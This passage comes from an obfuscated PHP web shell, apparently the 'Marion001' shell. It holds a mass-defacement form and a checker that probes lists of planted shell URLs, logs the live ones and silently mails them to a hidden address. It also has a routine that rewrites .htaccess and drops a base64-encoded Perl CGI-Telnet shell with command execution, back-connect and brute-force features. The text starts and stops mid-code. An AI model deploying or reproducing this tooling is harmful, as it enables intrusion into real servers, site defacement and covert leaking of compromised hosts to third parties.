  369. }
  370. }echo"</textarea></center>";echo"<form action="\" method="post">";echo"<br/>[+] Main Directory: <input type='text' style='width: 250px' value='$masslink\\' name='massdefacedir'>
  371. <br>
  372. <br/>";echo"[+] Defacement Url: <input type="text" style="width: 250px" name="massdefaceurl" placeholder="MassDeface By Marion001">
  373. <br/>\n
  374. <br/>[+] File Name: <input type="text" style="width: 250px" name="filename\" title=\"T&#234;n File C&#7847;n T&#7841;o" placeholder="xnxx.php">\n<input type="submit" name="execmassdeface\" value="Marion001\"></form>";exit;
  375. }if(isset($_GET["Check-Shell"])){echo"<style type="text/css">.entryfield  {
  376.   width:600px;height:300px;
  377. }
  378. .subbtn  {
  379.   background:#b70505;color:white;border: 1px solid #000; padding:6px 6px 6px 6px;
  380. }
  381. .subbtn:hover  {
  382.   background:#c0bfbf;color:#b70505;
  383. }
  384. \n</style>
  385. <h1>
  386. <center>Mass Shell Checker (Check Live Shell)</center></h1><form name="frmcontadd\" action=\"" method="post\"><textarea class="entryfield\" name=\"url\" style=\"margin-left: 0px; margin-right: 0px; width: 100%; height:330px;" placeholder="D&#225;n Link Shell V&#224;o &#272;&#226;y, M&#7895;i Link 1 D&#242;ng"></textarea>
  387. <br><input class="subbtn" type="submit" name="Submit" value="Check Shell(s)"></form>";
  388. function get_http_response_code($theurl){${headers}=get_headers(${theurl});${status}=substr(${headers}[0],9,3);${lfelyd}="hostname";$mkbwtiwq="lfelyd";${ukeepsxlq}="theurl";${p}=parse_url(${${ukeepsxlq}});$host=explode(":",${p}["host"]);${${$mkbwtiwq}
  389. }=$host[0];if(${status}==200){${visitor}=$_SeRVeR["RemOTe_aDDR"];${weskrh}="fh";${qgiikbtw}="theurl";${judul}="shell: $theurl ";${body}="shell: $theurl";if(!empty(${theurl})){${ccxiwghiuvw}="body";@mail(${GUISEND},${judul},${${ccxiwghiuvw}});
  390. }${writeuRl}=${theurl}."\r\n";${${weskrh}
  391. }=fopen("Live-Shell.txt","a");fwrite(${fh},${writeuRl},strlen(${writeuRl}));echo"<strong>
  392. <font color=green>Shell Live:</font></strong> - <a style="color:green;" href=\"".${theurl}."\" target=_blank>".${${qgiikbtw}
  393. }."</a>
  394. <br />";
  395. }elseif(${status}==500){$qgabkghsii="nrqbpihccg";${$qgabkghsii}="theurl";echo"<strong>
  396. <font color=black>".${status}." Internal Server Error</font></strong> - <a style="color:green;" href="".${${nrqbpihccg}
  397. }."" target=_blank>".${theurl}."</a>
  398. <br />";
  399. }else{${hrkaepl}="theurl";$adogipc="guhkbxjyypt";${$adogipc}="fh";$iexobmsqeey="guhkbxjyypt";$selarbj="msedunrijns";${fxdeunn}="theurl";${writeuRl}=${${fxdeunn}
  400. }."\r\n";${fh}=fopen("Dia-Shell.txt","a");fwrite(${${$iexobmsqeey}},${writeuRl},strlen(${writeuRl}));${$selarbj}="theurl";echo"<strong>
  401. <font color=red>Shell Dia:</font></strong> - <a style="color:green;" href="".${${hrkaepl}
  402. }."\" target=_blank>".${${msedunrijns}
  403. }."</a>
  404. <br />";
  405. }
  406. }if(isset($_POST["Submit"])){${hosts}=explode("\r\n",$_POST["url"]);${values}=array();foreach(${hosts}as$host){if($host!=""){@get_http_response_code("$host");
  407. }
  408. }echo"<br/>
  409. <strong>Check Shell Th&#224;nh C&#244;ng</strong>
  410. <br/><a style=\"color:green;" href="Live-Shell.txt" target="_blank">
  411. <b>Live-Shell.txt </b></a>
  412. <|> <a style="color:green;" href="Dia-Shell.txt" target="_blank\">
  413. <b> Dia-Shell.txt</b></a>";
  414. }exit;
  415. }if(isset($_GET["CGI-Marion001"])){${yufjhiy}="dosya";chdir("CGI");${uggogrnt}="dosya_adi";${kokdosya}=".htaccess";${dosya_adi}="$kokdosya";${${yufjhiy}
  416. }=fopen(${${uggogrnt}},"w")or die("Không thể mở tập tin");${metin}="AddHandler cgi-script .Marion001\nAddHandler cgi-script .pl";fwrite(${dosya},${metin});fclose(${dosya});${codecgi}="IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+TWFyaW9uIDAwMTwvZm9udD4iOwokUGFzc3dvcmQgPSAibWFyaW9uMDAxIjsJCQkKc3ViIElzX1dpbigpewokb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCiROVENtZFNlcCA9ICImIjsJCQkKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CiRTaG93RHluYW1pY091dHB1dCA9IDE7CiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTMwOwokcm93cz0gMjY7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFbmNvZGVEaXIKewoJbXkgJGRpciA9IHNoaWZ0OwoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7CgkkZGlyID1+IHMvKFxyfFxuKS8vOwoJcmV0dXJuICRkaXI7Cn1zdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7CglteSAkaW5mbyA9IGB1bmFtZSAtYWA7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+PHRpdGxlPiRFTlZ7J1NFUlZFUl9OQU1FJ30gfCBJUCA6ICRFTlZ7J1NFUlZFUl9BRERSJ30gPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCjwvaGVhZD48c3R5bGU+CmJvZHl7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKY29sb3I6ICNmZmY7Cn0KdHIsdGQsdGFibGUsaW5wdXQsdGV4dGFyZWEgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKfQojZG9tYWluIHRyOmhvdmVyewpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Owp9CnRkIHsKY29sb3I6ICNmZmZmZmY7Cn0KLmxpc3RkaXIgdGR7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KLmxpc3RkaXIgdGh7Cgljb2xvcjogMDBGRjAwOwp9Ci5kaXIsLmZpbGUKewoJdGV4dC1hbGlnbjogbGVmdCAhaW1wb3J0YW50Owp9Ci5kaXJ7Cglmb250LXNpemU6IDEwcHQ7IAoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KdGFibGUgewpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CmlucHV0IHsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAwMEZGMDA7Cn0KaW5wdXQuc3VibWl0IHsKdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwpjb2xvcjogI0ZGRkZGRjsKYm9yZGVyLWNvbG9yOiAjMDA5OTAwOwp9CmNvZGUgewpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6IHdoaWxlOwp9CnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogI0ZGMDBBQTsKfQp0ZXh0YXJlYSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAwMEZGMDA7Cn0KQTpsaW5rIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOnZpc2l0ZWQgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6YWN0aXZlIHsKCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9Ci5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIEVuY29kZXIobmFtZSkKewoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7CgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsKCXJldHVybiB0cnVlOwp9CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkKewoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7Cn0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPjx0cj48dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPjxiPjxmb250IHNpemU9IjMiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+PC90ZD48dGQ+CgkJJGluZm8KPC90ZD48dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJyZWQiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSJyZWQiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VCYjNzg0MztpIFh1JiM3ODg5O25nIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb25maWdtYXJpb24iPkFsbC9Db25maWcuTWFyaW9uMDAxPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+JiMyNzI7JiMyNTk7bmcgWHUmIzc4NDU7dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iLi4vZXJyb3JfbG9nLnBocCI+SGVscDwvYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIj4KJGlkCjwvdGQ+PC90cj48L3RhYmxlPjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjRkZGRkZGIiA+CgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aG